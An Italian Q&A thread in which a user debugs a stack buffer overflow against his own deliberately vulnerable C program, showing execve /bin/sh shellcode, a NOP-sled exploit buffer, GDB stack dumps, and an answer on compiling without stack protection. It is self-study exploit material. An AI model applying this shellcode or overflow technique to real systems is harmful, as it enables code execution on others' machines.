Problemi di test del buffer overflow

1

Sto sperimentando sul mio computer, quindi ho scritto un programma vulnerabile in C per testare i buffer overflow su:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char *password){
    int retval = 0;
    char possible_password_1[16] = "possiblepasswrd";
    char possible_password_2[16] = "drwssapelbissop";
    char user_input_password[16];

    strcpy(user_input_password, password);

    if(!strcmp(possible_password_1, user_input_password))
        retval = 1;

    if(!strcmp(possible_password_2, user_input_password))
        retval = 2;

    return retval;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Not enough arguments\n");
        return -1;
    }

    int correct = check_password(argv[1]);
    if(correct)
        printf("CORRECT PASSWORD\n");
    else
        printf("INCORRECT PASSWORD\n");

    return 0;
}

Non è scritto molto bene ma è pieno di vulnerabilità.

Sono riuscito a sovrascrivere retval per far sì che il programma visualizzi "CORRETTA PASSWORD" anche se la mia password non è corretta. Tuttavia, vorrei ora testare alcuni shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Tuttavia, non posso farlo eseguire. Ho appena ricevuto un segfault.

Ecco lo stack nella funzione check_password subito prima della chiamata a strcpy:

0xbffff30c: 0x00000000  0xb7fff000  0xb7fff918  0xbffff330
0xbffff31c: 0x73777264  0x65706173  0x7369626c  0x00706f73
0xbffff32c: 0x73736f70  0x656c6269  0x73736170  0x00647277
0xbffff33c: 0x00000000  0x00008000  0xb7fb1000  0xbffff378
0xbffff34c: 0x08048523  0xbffff5c3  0x00000003  0xb7e30740

Tra le altre cose, vedo 0x08048523 , che sembra essere il puntatore di ritorno, poiché punta all'istruzione subito dopo la chiamata a check_password nel main:

0x0804851e <+59>:   call   0x804844b <check_password>
0x08048523 <+64>:   add    esp,0x10

Ho quindi deciso di costruire il mio buffer di exploit attorno a questo:

00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73  .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80  hh/bin..PS......
00000030: c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf  ................
00000040: c4 f5 ff bf                                      ....

0xbffff5c4 è l'indirizzo di *argv[1] e contiene lo shellcode:

0xbffff5c4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5cc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5d4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5dc: 0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73    0x68
0xbffff5e4: 0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3    0x50

Quando si verifica la sovrascrittura, l'indirizzo dell'istruzione successiva in main viene sovrascritto da questo indirizzo:

Prima:

0xbffff30c: 0x00000000  0xb7fff000  0xb7fff918  0xbffff330
0xbffff31c: 0x73777264  0x65706173  0x7369626c  0x00706f73
0xbffff32c: 0x73736f70  0x656c6269  0x73736170  0x00647277
0xbffff33c: 0x00000000  0x00008000  0xb7fb1000  0xbffff378
0xbffff34c: 0x08048523  0xbffff5c3  0x00000003  0xb7e30740

Dopo:

0xbffff30c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff31c: 0x90909090  0x90909090  0x50c03190  0x732f2f68
0xbffff32c: 0x622f6868  0xe3896e69  0xe1895350  0x80cd0bb0
0xbffff33c: 0xbffff5c4  0xbffff5c4  0xbffff5c4  0xbffff5c4
0xbffff34c: 0xbffff5c4  0xbffff500  0x00000003  0xb7e30740

Quindi, per quanto posso dire, lo shellcode dovrebbe essere eseguito non appena la funzione ritorna. Tuttavia, questo non è il caso:

Program received signal SIGSEGV, Segmentation fault.
0xbffff5c4 in ?? ()

Non sono davvero sicuro di cosa ho fatto di sbagliato qui. Qualcuno potrebbe per favore indicarmi la direzione giusta?

Grazie.

    
posta Yapoz 07.12.2016 - 05:38
fonte

1 risposta

1

Suppongo che tu debba compilare il codice disabilitando le protezioni dello stack. Ad esempio, prova in questo modo:

gcc -g -fno-stack-protector -zexecstack -o vuln vuln.c

-g (abilita le informazioni di debug)

-f no-stack-protector (disabilita il codice extra per controllare l'overflow del buffer)

-z execstack (rendi lo stack eseguibile ... dove sarà il tuo shellcode)

    
risposta data 07.12.2016 - 09:45
fonte

Leggi altre domande sui tag